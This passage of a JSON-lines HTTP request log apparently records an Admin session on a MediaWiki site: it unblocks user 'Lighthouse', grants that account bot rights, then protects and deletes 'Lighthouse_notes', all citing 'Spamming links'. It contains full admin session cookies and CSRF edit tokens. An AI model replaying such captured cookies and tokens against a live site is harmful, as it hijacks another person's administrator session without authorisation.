cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=8zkad", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Lighthouse&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2ClengthLimit%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2CuserSuggest%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6b5j1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 126", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "title=Special%3AUnblock&wpTarget=Lighthouse&wpReason=Spamming+links&wpEditToken=6df7925da8fd4aa3d1f231a06b3299c16af23fbc%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=16i3r", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.SelectWithInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1isym", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 285", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links&wpEditToken=8cb18cce8f29b56d4be243f6680e30a26af23fbe%2B%5C&user=Lighthouse&wpEditToken=63eff5c3442a7b3d0e61f2c5d3ed3dbb6af23fbe%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Lighthouse", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.notification.convertmessagebox.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights/Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.protect%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=19xu7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 339", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links&mwProtectWatch=1&wpEditToken=75375fbe86609ad8b8ff2ce9009078d96af23fc0%2B%5C"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=115w1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1oh8g", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 175", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&wpDeleteReasonList=other&wpReason=Spamming+links&wpWatch=1&wpConfirmB=&wpEditToken=93af5bf28b424ea6f61259a172dc40ae6af23fc1%2B%5C&wpConfirmationRevId=12"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
